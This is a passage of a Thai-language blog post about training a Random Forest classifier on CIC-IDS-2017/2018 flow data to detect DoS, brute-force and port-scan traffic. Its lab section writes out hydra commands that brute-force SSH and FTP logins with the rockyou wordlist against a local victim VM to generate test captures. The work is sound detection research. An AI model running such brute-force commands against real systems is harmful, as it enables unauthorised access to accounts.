src="https://cdn-images-1.medium.com/max/1024/1*QmCiSLpzvxKTc7W1gSsftQ.png" /><figcaption>Label == Label rows</figcaption></figure><p>นอกจากนั้นเมื่อลองดู Dst_Port ใน row ที่ Label เป็น DoS attacks-SlowHTTPTest จะพบว่าทั้งหมดเป็น Port 21 ซึ่งเป็น Port ของ FTP ซึ่งแปลกมากเพราะการโจมตีนี้ควรมุ่งเป้าไปที่ Port 80 ซึ่งเป็น Port ของ HTTP, อาจเป็น Labelling error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*0wgEhJFRqrlxU_Bca7Y6Ww.png" /></figure><blockquote><strong>But, How did I discover this??</strong></blockquote><blockquote>เราสังเกตเห็นปัญหานี้หลังจากที่ Train Model เสร็จแล้ว และพบว่า Model มีปัญหาในการแยก Class FTP-Bruteforce และ DoS-Slow-Rate ซึ่งมี Data ของ DoS attacks-SlowHTTPTest ประกอบอยู่ด้วยจริง ทำให้เราได้มีการเปลี่ยน Dst_Port ที่มีปัญหาจาก 21 ให้เป็น 80 ซึ่งตรงกับความเป็นจริงที่ควรจะเป็น</blockquote><h4>2.3 Processing Train set</h4><p>ทีนี้ก็ได้เวลาเอา Dataset ทั้งสองชุดมารวมกัน ประเด็นหลักที่ต้องคิดถึงเลยก็คือเราจะเลือก Predict Class อะไรบ้าง โดยในโปรเจคนี้เราได้แบ่งออกเป็น 6 Class ดังนี้</p><ol><li><strong>Benign</strong><br>- เป็นการใช้งานปกติไม่ใช่การโจมตีใด</li><li><strong>DoS-Slow-Rate</strong><br>- เป็นการโจมตีประเภท DoS แบบ Slow-Rate คือการทำให้เครื่องเป้าหมายใช้การไม่ได้โดยการส่ง Request แล้ว Hold ไว้ให้นานที่สุดจนเป้าหมาย ไม่เหลือ Resource ให้ใช้งาน จัดเป็นการ DoS ใน Application Layer หรือ OSI Layer 7</li><li><strong>DoS-HTTP-Flood</strong><br>- เป็นการโจมตีประเภท DoS แบบ HTTP-Flood คือการทำให้เครื่องเป้าหมายใช้การไม่ได้โดยการส่ง Request เยอะมากๆ ในระยะเวลาสั้นๆ จนเครื่องเป้าหมายรับ ไม่ไหว จัดเป็นการ DoS ใน Application Layer หรือ OSI Layer 7</li><li><strong>SSH-Bruteforce<br>- </strong>เป็นการโจมตี Bruteforce รหัสผ่านกับระบบ Secure Shell (SSH)</li><li><strong>FTP-Bruteforce<br>- </strong>เป็นการโจมตี Bruteforce รหัสผ่านกับระบบ File Transfer Protocol (FTP)</li><li><strong>PortScan<br>- </strong>เป็นการโจมตีสำคัญในขั้นตอนที่เรียกกันว่า Reconnaissance คือลอง scan ดูว่าเครื่องเป้าหมายมี port อะไรเปิดอยู่บ้างเพื่อหาช่องทางในการโจมตีเป้าหมาย</li></ol><p>โดย Data ที่จะใช้ Train Class ต่างๆ จะเอามาจาก Dataset ตามตารางนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*s6ZGFJq-ecfLeEvhXi_2Sg.png" /></figure><p>ซึ่งตัว Percent ใน Column amount เรากำหนดโดยคำนึงถึงการทำให้ Data แต่ละ Class Balance กัน ประมาณ 150,000–200,000 Entries</p><p>ในส่วนของ Web Attack ต่างๆ จะเห็นได้ว่ามี Data ที่น้อยกว่า Class อื่นอย่างเห็นได้ชัดถึงแม้จะรวมกันทั้งสอง Dataset แล้วก็ตาม ทำให้เราไม่ได้นำมาใช้ในโปรเจคนี้</p><p>นอกจากนั้นยังมี Label DDoS ใน CSE-IDS-2018 ที่ไม่ได้นำมาใช้โดยเหตุผลจะถูกพูดถึงภายหลังในหัวข้อที่ “Error analysis in the process”</p><p>ทีนี้เรามาเริ่มรวม Data กันโดยสิ่งที่เราทำจะมีดังนี้ 1. ทำให้ Name and Type ของ Feature ต่างๆ ใน Data สองชุดนี้ตรงกันโดยใช้ column mapping 2. Drop feature ที่ไม่ได้ใช้ Train model ออกไป 3. Convert type ของบาง Feature ให้ตรงกัน</p><pre># การ Process ใน CICIDS2017<br>cic2017 = cic2017.rename(columns=cic2017_mapping)<br>columns_to_drop_cic2017 = [<br>    &#39;Flow ID&#39;, &#39;Source IP&#39;, &#39;Source Port&#39;, &#39;Destination IP&#39;, &#39;Fwd Header Length.1&#39;, &#39;Protocol&#39;, &#39;Timestamp&#39;<br>]<br>cic2017 = cic2017.drop(columns=columns_to_drop_cic2017, errors=&#39;ignore&#39;)<br>print(cic2017.info())</pre><pre># การ Process ใน CSECICIDS2018<br>cic2018 = cic2018.rename(columns=cic2018_mapping)<br>cic2018 = cic2018.drop(columns=[&#39;Protocol&#39;, &#39;Timestamp&#39;], errors=&#39;ignore&#39;)<br><br>columns_to_float_cic2018 = [<br>    &#39;TotLen_Fwd_Pkts&#39;, &#39;TotLen_Bwd_Pkts&#39;,<br>    &#39;Fwd_Pkt_Len_Max&#39;, &#39;Fwd_Pkt_Len_Min&#39;,<br>    &#39;Bwd_Pkt_Len_Max&#39;, &#39;Bwd_Pkt_Len_Min&#39;,<br>    &#39;Flow_IAT_Max&#39;, &#39;Flow_IAT_Min&#39;,<br>    &#39;Fwd_IAT_Tot&#39;, &#39;Fwd_IAT_Max&#39;, &#39;Fwd_IAT_Min&#39;,<br>    &#39;Bwd_IAT_Tot&#39;, &#39;Bwd_IAT_Max&#39;, &#39;Bwd_IAT_Min&#39;,<br>    &#39;Pkt_Len_Min&#39;, &#39;Pkt_Len_Max&#39;,<br>    &#39;Down/Up_Ratio&#39;,<br>    &#39;Active_Max&#39;, &#39;Active_Min&#39;,<br>    &#39;Idle_Max&#39;, &#39;Idle_Min&#39;<br>]<br><br>for col in columns_to_float_cic2018:<br>    if col in cic2018.columns:<br>        cic2018[col] = cic2018[col].astype(&#39;float64&#39;)<br><br>print(cic2018.info())py</pre><p>นอกจากนั้นเรายังได้มีการแก้ปัญหา Labelling error ที่ได้กล่าวถึงไว้ในขั้นตอน Data Exploration ของ CSECICIDS2018 อีกด้วย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*j9k6263Eq9rfLq_qDZWGgQ.png" /></figure><p>ในส่วนของ Feature ที่ไม่ได้นำมาใช้เทรนด์จะมีดังนี้</p><ul><li>Destination Port, Source Port, Flow ID, Protocol, Timestamp</li></ul><p>ซึ่งเหตุผลที่เราไม่ได้นำ Feature พวกนี้มาใช้งานก็เพราะว่า Feature เหล่านี้จะเป็น Feature ที่ทุกๆ packet จะมีไม่เหมือนกัน กล่าวคือไม่มี Pattern หากดูแค่ Flow By Flow, อาจทำให้โมเดลไปจำข้อมูลที่ไม่จำเป็นได้ เช่น หาก Data ที่ใช้ Train มาจาก IP 10.10.10.10 เป็น Class Benign แต่ Data ที่ใช้ Test ที่มาจาก IP นี้เหมือนกันแต่เป็น Class อื่น ก็อาจทำให้โมเดลดู IP จนทายผิดได้</p><blockquote><strong>Notebooks</strong>: <a href="https://github.com/Mc4minta/AIB5-PcapAttackClassifier/blob/main/DataProcessing/ProcessTrainSetCIC_IDS2017.ipynb">ProcessTrainSetCIC_IDS2017.ipynb</a> , <a href="https://github.com/Mc4minta/AIB5-PcapAttackClassifier/blob/main/DataProcessing/ProcessTrainSetCSE_CIC_IDS2018.ipynb">ProcessTrainSetCSE_CIC_IDS2018.ipynb</a> , <a href="https://github.com/Mc4minta/AIB5-PcapAttackClassifier/blob/main/DataProcessing/ProcessTrainSetCombiningCIC1718.ipynb">ProcessTrainSetCombiningCIC1718.ipynb</a></blockquote><h3>3. Testing Data Collection</h3><p>ในส่วนของ Data ที่นำมาใช้วัดผลโมเดลเราได้ทำการรวมรวมไฟล์ .pcap ที่มีการบอกไว้ว่าไฟล์นี้มีการโจมตีนั้นๆ อยู่จากหลายๆ แหล่งเท่าที่จะหาได้มารวมกัน ดังนี้</p><ul><li>TII-SSRC-23 Dataset on <a href="https://www.kaggle.com/datasets/daniaherzalla/tii-ssrc-23">kaggle</a></li><li>TON_IoT Datasets on <a href="https://research.unsw.edu.au/projects/toniot-datasets">UNSW</a></li><li>Edge-IIoTset Cyber Security Dataset of IoT &amp; IIoT on <a href="https://www.kaggle.com/datasets/mohamedamineferrag/edgeiiotset-cyber-security-dataset-of-iot-iiot">kaggle</a></li><li>Kitsune Network Attack Dataseton <a href="https://www.kaggle.com/datasets/ymirsky/network-attack-dataset-kitsune">kaggle</a></li><li>TPs-ESIR-59 PcapSamples on <a href="https://github.com/TPs-ESIR-S9/PcapFileAnalysis/tree/main/PcapSamples">github</a></li><li>DoS GoldenEye &amp; Hulk Network Attack PCAPs on <a href="https://www.kaggle.com/datasets/exitium505/dos-goldeneye-and-hulk-pcaps">kaggle</a></li><li>InSDN Dataset on <a href="https://aseados.ucd.ie/datasets/SDN/">UCD ASEADOS Lab</a></li><li>Low Rate DDoS (MQTT)</li></ul><h4>3.2 Making FTP/SSH-Bruteforce .pcap data</h4><p>เนื่องจากจำนวนไฟล์ .pcap ตามอินเตอร์เน็ตและจำนวน packet ต่อไฟล์ค่อนข้างน้อย ทำให้ Bidirectional flow ที่ generate ออกมาได้มีจำนวนน้อยไปด้วยเราก็เลยคิดจะเซ็ตอัพ Virtual machine สองเครื่องเพื่อ generate ไฟล์ .pcap ของเครื่องที่ถูกโจมตีขึ้นมาเองโดยการ simulate attack จริง</p><p>โดยในโปรเจคนี้เราใช้เป็นโปรแกรม VMware ในการสร้าง Virtual Machine</p><ul><li>Attacker : Kali linux (192.168.159.160)</li><li>Victim : Ubuntu server (192.168.159.159)</li></ul><p>ในส่วนของ tools ที่ใช้ในการจำลองตัวแรกเราจะใช้เป็น “<a href="https://github.com/vanhauser-thc/thc-hydra">hydra</a>” ซึ่งสามารถทำให้เรา Bruteforce ระบบ FTP และ SSH โดยใช้ Wordlist ได้ง่ายๆ แบบไม่ต้องเขียน Script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*69-B0YKrjLEFlPcxZlLv8g.gif" /></figure><p>โดยการรันคำสั่งเพื่อโจมตีจะใช้ wordlist เป็น rockyou.txt</p><pre># bruteforce ssh<br>hydra -l sshuser -P /usr/share/wordlists/rockyou.txt 192.168.159.159 ssh<br># bruteforce ftp<br>hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt 192.168.159.159 ftp</pre><p>ในส่วนของการ Capture ไฟล์ .pcap เราจะทำทั้งสองฝั่งโดยใช้โปรแกรมสองตัวคือ</p><ol><li>เครื่อง Victim ใช้เป็น tcpdump โดยใช้คำสั่ง</li></ol><pre>sudo tcpdump -w outputfile.pcap</pre><p>2. เครื่อง Attacker ใช้เป็น <a href="https://www.wireshark.org/">wireshark</a> โดยใช้ตัวโปรแกรม GUI โดยตรง</p><p>หลังจาก capture จนพอใจแล้วเราก็ Transfer file มาที่ host machine ด้วย shared folder ของ VMware ก็จะได้ file .pcap ตามที่ต้องการ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*Ir66evl_7ThJfI_Hyk2SVw.png" /></figure><h4>3.3 Processing Test set</h4><p>หลังจากที่ได้ไฟล์ .pcap ที่ต้องการแล้วก็ต้องนำไฟล์มาเปลี่ยนให้เป็น .csv (flow)</p><p>ในส่วนของ label ที่ใช้เราจะใช้วิธีการ label ทุกๆ flow ของไฟล์ .pcap นั้นๆ ว่าเป็น attack หนึ่งไปเลยโดยไม่สนว่าจะมี background บาง flow ที่เป็น Benign หรือไม่ เนื่องจาก flow มีเยอะมากๆ ด้วยข้อจำกัดด้านเวลาและ จำนวน feature ของ flow ที่มีค่อนข้างเยอะเราจึงไม่สามารถที่จะ Annotate Attack ราย Flow ให้แม่นยำได้</p><p>แต่ก็จะเกิดคำถามที่ว่าแล้วเราจะรู้ได้ยังไงว่าที่โมเดล predict ออกมาว่าเป็น Attack จริงๆ ไม่ใช่ Benign คำตอบก็คือเราจะมี Test set ใน class Benign ที่เอาไว้เช็คว่าโมเดลไม่ได้มั่วให้ทุกอย่างเป็น attack แต่สามารถแยกแยะว่าไฟล์นี้เป็นไฟล์ปกติ (Benign) ได้ด้วย โดยวิธีการแปลงไฟล์เราก็จะใช้ CICFlowmeter V.3 เช่นเดิม</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*8KfE-tzD0i62vQyw4-oMdA.png" /></figure><h3>4. Model Training</h3><p>ในส่วนของการ Train Model เราเลือกเป็น Random Forest เนื่องจากข้อมูลของเรามีจำนวนค่อนข้างมากและมี Feature ค่อนข้างเยอะ เราคิดว่า Random Forest ซึ่งสามารถบอก Feature Importances ได้จะเหมาะสมกับข้อมูลของเรา เพราะเราจะสามารถมาเช็คดูในภายหลังได้ว่า Feature ไหนกันแน่ที่โมเดลนำมาใช้ในการตัดสินใจมากที่สุด ทำให้เราสามารถทำ Error Analysis ได้ง่ายขึ้นเพราะสามารถ Pin point จุดที่ควรดูได้ อีกทั้ง Feature ที่เราเลือกใช้ Train ทั้งหมดยังเป็นประเภท Numerical (มีแค่ int กับ float) ซึ่ง Random Forest สามารถจัดการได้ดี นอกจากนั้น Random Forest ยังสามารถจัดการ Missing Data และ Outliners ได้อีกด้วย</p><p>ก่อนเริ่ม Train เราได้ทำการ Process Data เพิ่มอีกนิดหน่อย คือการ Map Destination Port กับ Well Known port โดยแทนด้วยตัวเลข 1–6 เนื่องจาก port มีเยอะเกินไปทำให้โมเดลอาจจะนำไปคิดโดยไม่สมเหตุสมผล (ดูเพิ่มเติมได้ใน Part Error analysis in the process)</p><p>โดยการ Map เราจะใช้หลักการที่ว่าบาง Attack จะโจมตีที่ Service ใน Port นั้นอยู่แล้วทำให้โมเดลสามารถทายได้ง่ายขึ้นว่า Flow นี้เป็น Attack อะไร เช่น หาก Destination Port เป็น 21 คือ FTP ก็อาจจะมีโอกาสเป็น FTP-Bruteforce และไม่สามารถเป็น Attack ที่ไม่เกี่ยวข้องเช่น SSH-Bruteforce ซึ่งเป็น Port 22 นั่นเอง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8cuuXGs-2EtSvqBO.jpeg" /></figure><pre># map destination port to 1-6 numbers<br>def map_port(port):<br>    if port == 21:<br>        return 1  # FTP<br>    elif port == 22:<br>        return 2  # SSH<br>    elif port == 53:<br>        return 3  # DNS<br>    elif port == 80:<br>        return 4  # HTTP<br>    elif port == 443:<br>        return 5  # HTTPS<br>    else:<br>        return 6  # Other</pre><p>สุดท้ายแล้ว Feature ที่ใช้เทรนด์จะมีชื่อและ Type ดังนี้</p><pre>&lt;class &#39;pandas.core.frame.DataFrame&#39;&gt;<br>Index: 1487802 entries, 1724754 to 121958<br>Data columns (total 77 columns):<br> #   Column             Non-Null Count    Dtype  <br>---  ------             --------------    -----  <br> 0   Dst_Port           1487802 non-null  int64  <br> 1   Flow_Duration      1487802 non-null  int64  <br> 2   Tot_Fwd_Pkts       1487802 non-null  int64  <br> 3   Tot_Bwd_Pkts       1487802 non-null  int64  <br> 4   TotLen_Fwd_Pkts    1487802 non-null  float64<br> 5   TotLen_Bwd_Pkts    1487802 non-null  float64<br> 6   Fwd_Pkt_Len_Max    1487802 non-null  float64<br> 7   Fwd_Pkt_Len_Min    1487802 non-null  float64<br> 8   Fwd_Pkt_Len_Mean   1487802 non-null  float64<br> 9   Fwd_Pkt_Len_Std    1487802 non-null  float64<br> 10  Bwd_Pkt_Len_Max    1487802 non-null  float64<br> 11  Bwd_Pkt_Len_Min    1487802 non-null  float64<br> 12  Bwd_Pkt_Len_Mean   1487802 non-null  float64<br> 13  Bwd_Pkt_Len_Std    1487802 non-null  float64<br> 14  Flow_Byts/s        1487802 non-null  float64<br> 15  Flow_Pkts/s        1487802 non-null  float64<br> 16  Flow_IAT_Mean      1487802 non-null  float64<br> 17  Flow_IAT_Std       1487802 non-null  float64<br> 18  Flow_IAT_Max       1487802 non-null  float64<br> 19  Flow_IAT_Min       1487802 non-null  float64<br> 20  Fwd_IAT_Tot        1487802 non-null  float64<br> 21  Fwd_IAT_Mean       1487802 non-null  float64<br> 22  Fwd_IAT_Std        1487802 non-null  float64<br> 23  Fwd_IAT_Max        1487802 non-null  float64<br> 24  Fwd_IAT_Min        1487802 non-null  float64<br> 25  Bwd_IAT_Tot        1487802 non-null  float64<br> 26  Bwd_IAT_Mean       1487802 non-null  float64<br> 27  Bwd_IAT_Std        1487802 non-null  float64<br> 28  Bwd_IAT_Max        1487802 non-null  float64<br> 29  Bwd_IAT_Min        1487802 non-null  float64<br> 30  Fwd_PSH_Flags      1487802 non-null  int64  <br> 31  Bwd_PSH_Flags      1487802 non-null  int64  <br> 32  Fwd_URG_Flags      1487802 non-null  int64  <br> 33  Bwd_URG_Flags      1487802 non-null  int64  <br> 34  Fwd_Header_Len     1487802 non-null  int64  <br> 35  Bwd_Header_Len     1487802 non-null  int64  <br> 36  Fwd_Pkts/s         1487802 non-null  float64<br> 37  Bwd_Pkts/s         1487802 non-null  float64<br> 38  Pkt_Len_Min        1487802 non-null  float64<br> 39  Pkt_Len_Max        1487802 non-null  float64<br> 40  Pkt_Len_Mean       1487802 non-null  float64<br> 41  Pkt_Len_Std        1487802 non-null  float64<br> 42  Pkt_Len_Var        1487802 non-null  float64<br> 43  FIN_Flag_Cnt       1487802 non-null  int64  <br> 44  SYN_Flag_Cnt       1487802 non-null  int64  <br> 45  RST_Flag_Cnt       1487802 non-null  int64  <br> 46  PSH_Flag_Cnt       1487802 non-null  int64  <br> 47  ACK_Flag_Cnt       1487802 non-null  int64  <br> 48  URG_Flag_Cnt       1487802 non-null  int64  <br> 49  CWE_Flag_Count     1487802 non-null  int64  <br> 50  ECE_Flag_Cnt       1487802 non-null  int64  <br> 51  Down/Up_Ratio      1487802 non-null  float64<br> 52  Pkt_Size_Avg       1487802 non-null  float64<br> 53  Fwd_Seg_Size_Avg   1487802 non-null  float64<br> 54  Bwd_Seg_Size_Avg   1487802 non-null  float64<br> 55  Fwd_Byts/b_Avg     1487802 non-null  int64  <br> 56  Fwd_Pkts/b_Avg     1487802 non-null  int64  <br> 57  Fwd_Blk_Rate_Avg   1487802 non-null  int64  <br> 58  Bwd_Byts/b_Avg     1487802 non-null  int64  <br> 59  Bwd_Pkts/b_Avg     1487802 non-null  int64  <br> 60  Bwd_Blk_Rate_Avg   1487802 non-null  int64  <br> 61  Subflow_Fwd_Pkts   1487802 non-null  int64  <br> 62  Subflow_Fwd_Byts   1487802 non-null  int64  <br> 63  Subflow_Bwd_Pkts   1487802 non-null  int64  <br> 64  Subflow_Bwd_Byts   1487802 non-null  int64  <br> 65  Init_Fwd_Win_Byts  1487802 non-null  int64  <br> 66  Init_Bwd_Win_Byts  1487802 non-null  int64  <br> 67  Fwd_Act_Data_Pkts  1487802 non-null  int64  <br> 68  Fwd_Seg_Size_Min   1487802 non-null  int64  <br> 69  Active_Mean        1487802 non-null  float64<br> 70  Active_Std         1487802 non-null  float64<br> 71  Active_Max         1487802 non-null  float64<br> 72  Active_Min         1487802 non-null  float64<br> 73  Idle_Mean          1487802 non-null  float64<br> 74  Idle_Std           1487802 non-null  float64<br> 75  Idle_Max           1487802 non-null  float64<br> 76  Idle_Min           1487802 non-null  float64<br>dtypes: float64(45), int64(32)</pre><p>และจะมีจำนวน Data ในแต่ละ Class หลังจากไปทำ Train-Test Split 80/20 ดังนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/167/1*DWoQUFbNQqpH0FNkKHkQ4A.png" /></figure><p>โดยคิด Percent ของ Benign ได้ 53.15% และ Attack ทั้งหมดรวมกันได้ 46.85% ต่างกัน 6.31% ซึ่งเป็นตัวเลขที่พอรับได้และสมเหตุผลเนื่องจาก Benign คือการใช้งานปกติซึ่งจะต้องมีข้อมูลมากกว่าการโจมตีอยู่แล้ว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/1*j3Trajc3HLVfmOjbUoODqA.png" /></figure><p>Library ที่เราใช้จะเป็น RandomForestClassifer ของ Scikit-Learn โดยกำหนด n_estimators=400 คือจำนวนของ Decision Tree, random_state=42 เป็น random seed เพื่อให้การ random เลขใดๆ ในแต่ละครั้งเหมือนกันเพื่อลดความผันผวน และ n_jobs=-1 เพื่อให้ใช้ทรัพยากร CPU อย่างเต็มที่เพื่อให้ Train ไวขึ้น</p><pre>X = df.drop(&#39;Label&#39;, axis=1)<br>y = df[&#39;Label&#39;]<br><br>X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)<br>model = RandomForestClassifier(n_estimators=400, random_state=42, n_jobs=-1)<br>model.fit(X_train, y_train)</pre><p>โดยผลที่ได้เมื่อลองเทสกับ Test split จะเห็นว่าออกมาค่อนข้างดี โดย Flow ที่โมเดลทายผิดส่วนใหญ่จะเป็นการสับสนระหว่าง Attack นั้นๆ กับ Class Benign ซึ่งดูได้จาก Confusion Matrix อันนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*d0KChdpmYhjzO-Pf-DQv7g.png" /><figcaption>Test split Confusion matrix</figcaption></figure><pre>Classification Report:<br>                precision    recall  f1-score   support<br><br>        Benign       1.00      1.00      1.00    197563<br>DoS-HTTP-Flood       1.00      1.00      1.00     31104<br> DoS-Slow-Rate       1.00      1.00      1.00     32396<br>FTP-Bruteforce       1.00      1.00      1.00     40406<br>      PortScan       1.00      1.00      1.00     31852<br>SSH-Bruteforce       1.00      1.00      1.00     38630<br><br>      accuracy                           1.00    371951<br>     macro avg       1.00      1.00      1.00    371951<br>  weighted avg       1.00      1.00      1.00    371951</pre><p>ในส่วนของ Feature Importances เราได้ลอง Print Top 20 ออกมาดูจะเห็นว่า Destination Port ถูกนำมาใช้ในการตัดสินใจของโมเดลมากกว่า Feature อื่นอย่างชัดเจน ซึ่งตรงกับความเป็นจริงเวลามนุษย์ดูไฟล์ .pcap ก็จะดูที่ port เป็นจุดแรกๆ เพราะมันสะท้อนถึง Service ของเป้าหมายที่เราส่ง Packet ไปหา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-wX0FAFxz3KA54yb-lKiEA.png" /><figcaption>Top 20 Feature Importances</figcaption></figure><blockquote><strong>Notebooks</strong>: <a href="https://github.com/Mc4minta/AIB5-PcapAttackClassifier/blob/main/ModelTraining/RandomForest400IntPortCIC1718_2.ipynb">RandomForest400IntPortCIC1718_2.ipynb</a></blockquote><h3>5. Error analysis in the process</h3><ul><li>ในตอนแรกใช้แค่ Dataset CIC-IDS-2017 แล้ว FTP/SSH- Bruteforce Data น้อยกว่า Class อื่นมากเลยเอา CSE-IDS-2018 มาเพิ่มเพื่อแก้ Class imbalance</li><li>Class DDoS ถูก Predict เป็น DoS และ model ไม่สามารถ Predict class DDoS ได้เลยสันนิษฐานว่าเกิดจากการที่ DDoS กับ DoS คล้ายกันจนแทบจะเหมือน ต่างกันแค่ว่า DDoS จะมุ่งเป้าหมายไปที่การทำให้เครื่องหลายๆ เครื่องใช้งานไม่ได้ ต่างจาก DoS ที่จะมุ่งเป้าไปที่เครื่องเดียว ด้วยความที่โมเดลของเรา Predict เป็น flow by flow ทำให้ไม่สามารถแยก DDoS กับ DoS ได้เพราะ DDoS ต้องหาวิธีบางอย่างให้โมเดลเข้าใจการมุ่งหลายเป้าหมายเช่นนับ Destination IP และต้องดูภาพรวมทั้ง file ไม่ใช่ราย packet หรือ ราย flow สุดท้ายเราเลยตัดสินใจไม่นำ Data ใน class DDoS เข้ามาใช้ในโปรเจคนี้</li><li>โมเดลยังตรวจจับ DoS ที่โจมตีนอกเหนือจาก Application Layer (OSI Layer 7) ไม่ได้เช่น SYN DoS, ICMP DoS, UDP DoS และอื่นๆ เนื่องจาก Dataset ที่นำมาใช้ในครั้งนี้มีเพียง Layer 7 หากอยากให้โมเดลสามารถตรวจจับได้ต้องหา Dataset มา combine เพิ่มเช่น <a href="https://www.unb.ca/cic/datasets/ddos-2019.html">CIC-DDoS2019</a></li><li>จากการ Explore Dataset CSECICIDS2018 พบว่ามี Labelling error ที่ Feature Destination Port ทำให้โมเดลสับสนระหว่าง 2 Class ดังภาพ</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*RXbMDDHjQeyXWuiaCsHf2g.png" /><figcaption>confusion matrix before fix</figcaption></figure><ul><li>หลังจากทำการแก้ปัญหาโดยการเปลี่ยน Port ให้ตรงกับความจริงที่ควรจะเป็นจะเห็นได้ว่าโมเดลสามารถทายถูกขึ้นอย่างเห็นได้ชัด ดังภาพ</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*d0KChdpmYhjzO-Pf-DQv7g.png" /><figcaption>confusion matrix after fix</figcaption></figure><ul><li>ในการ Train model ครั้งแรกไม่ได้มีการ encode Destination Port ให้เป็นเลข 1–6 หลังจากนั้นเราได้ลอง print ตัว feature_importances พบว่า Destination Port อยู่ในอันดับต้นๆ ซึ่งตรงกับความเป็นจริง เวลามนุษย์ดูไฟล์ .pcap ก็จะดูที่ port เป็นจุดแรกๆ เพราะมันสะท้อนถึง Service เป้าหมาย เช่น port 21 = FTP, port 22 = SSH เราจึงสันนิษฐานว่า port มีเยอะเกินไปทำให้โมเดลอาจจะนำไปคิดโดยไม่สมเหตุสมผล เช่น ยิ่งเลข port มากก็จะเป็นบาง class มากซึ่งไม่ตรงกับความเป็นจริง หลังจากได้ลอง encode port เป็น protocol ตัวค่า predicted_proba() ของ class ที่ถูกต้องเพิ่มขึ้น 0.2 ซึ่งแสดงให้เห็นว่าการปรับปรุงในครั้งนี้ทำให้โมเดลแม่นยำขึ้น</li></ul><h3>6. Baseline</h3><p>เนื่องจากจุดประสงค์เริ่มแรกของโปรเจคนี้คือการสร้าง Model เพื่อสนองนีทของเราเอง ไม่ได้มีเป้าหมายเพื่อแก้ปัญหาเชิงธุรกิจหรือนำไปใช้ในการสร้าง Intrusion Detection System จริงๆ การที่โปรเจคนี้สามารถใช้ตรวจจับได้ถูกต้องก็ทำให้เราพอใจแล้ว แต่การจะวัดผลให้เป็นรูปธรรมชัดเจนจะใช้แค่ความพอใจของเราคนเดียวคงจะไม่ได้</p><p>เราเลยลองหาโปรเจคที่มีลักษณะคล้ายๆ กันค ือการ Classify ไฟล์ .pcap มาเพื่อใช้ในการเปรียบเทียบประสิทธิภาพกับโมเดลของเราเพื่อเป็นการวัดผลอีกทางหนึ่ง</p><p><a href="https://github.com/TPs-ESIR-S9/PcapFileAnalysis/">GitHub - TPs-ESIR-S9/PcapFileAnalysis: Malicious Network Traffic Analysis with AI</a></p><p>โปรเจคนี้ใช้โมเดล <a href="https://huggingface.co/rdpahalavan/bert-network-packet-flow-header-payload">“rdpahalavan/bert-network-packet-flow-header-payload”</a> จาก Hugging Face ในการ Classify Network Packet แต่ละอันโดยมี Format ข้อมูล input แบบนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PLjrzemDWbhU2mk1" /><figcaption><a href="https://github.com/TPs-ESIR-S9/PcapFileAnalysis/blob/main/img/InputFormat.png">https://github.com/TPs-ESIR-S9/PcapFileAnalysis/blob/main/img/InputFormat.png</a></figcaption></figure><p>โดยการทำงานคร่าวๆ จะเป็นการใช้ Library scapy ไล่ packet ในไฟล์ pcap ไปทีละ packet แปลงเป็นรูปแบบ input และ Predict ออกมาเป็นราย packet นั่นเอง</p><p>เนื่องจาก Class ที่โมเดลนี้ Predict ได้มีมากกว่า Class ที่เราใช้ในโปรเจคนี้ หากโมเดล Baseline Predict Class นอกเหนือจาก 6 Class ที่เราใช้ เราจะถือว่า Class นั้นเป็น Class ‘Other’ ส่วน Class ที่เหมือนกับของเราแค่ต่างชื่อจะถูก map ให้ตรงกับชื่อที่เราใช้ในโปรเจคนี้ ดังนี้</p><pre>classes_mapping = {<br>    &#39;Analysis&#39;: &#39;Other&#39;,<br>    &#39;Backdoor&#39;: &#39;Other&#39;, <br>    &#39;Bot&#39;: &#39;Other&#39;, <br>    &#39;DDoS&#39;: &#39;Other&#39;,<br>    &#39;DoS&#39;: &#39;DoS&#39;, <br>    &#39;DoS GoldenEye&#39;: <br>    &#39;DoS-HTTP-Flood&#39;, <br>    &#39;DoS Hulk&#39;: &#39;DoS-HTTP-Flood&#39;,<br>    &#39;DoS SlowHTTPTest&#39;: &#39;DoS-Slow-Rate&#39;, <br>    &#39;DoS Slowloris&#39;: &#39;DoS-Slow-Rate&#39;,<br>    &#39;Exploits&#39;: &#39;Other&#39;, <br>    &#39;FTP Patator&#39;: &#39;FTP-Bruteforce&#39;, <br>    &#39;Fuzzers&#39;: &#39;Other&#39;,<br>    &#39;Generic&#39;: &#39;Other&#39;, <br>    &#39;Heartbleed&#39;: &#39;Other&#39;, <br>    &#39;Infiltration&#39;: &#39;Other&#39;,<br>    &#39;Normal&#39;: &#39;Benign&#39;, <br>    &#39;Port Scan&#39;: &#39;PortScan&#39;, <br>    &#39;Reconnaissance&#39;: &#39;Other&#39;,<br>    &#39;SSH Patator&#39;: &#39;SSH-Bruteforce&#39;, <br>    &#39;Shellcode&#39;: &#39;Other&#39;,<br>    &#39;Web Attack - Brute Force&#39;: &#39;Other&#39;, <br>    &#39;Web Attack - SQL Injection&#39;: &#39;Other&#39;,<br>    &#39;Web Attack - XSS&#39;: &#39;Other&#39;, <br>    &#39;Worms&#39;: &#39;Other&#39;,<br>}</pre><h3>7. Model Evaluation</h3><p>ในส่วนของการ Evaluate โมเดล เราไม่สามารถ Annotate Flow By Flow ได้ ว่า Flow ไหนเป็น Attack เพราะเรามีเพียงไฟล์ .pcap ที่รู้ว่าในไฟล์นั้นมี Attack นึงอยู่ทำให้เทียบกับ Baseline ได้ยาก เพราะถ้าเรารู้ flow by flow และ packet by packet อยู่แล้วเรายังสามารถดู Percent ที่โมเดลทายถูกมาเทียบกันได้ 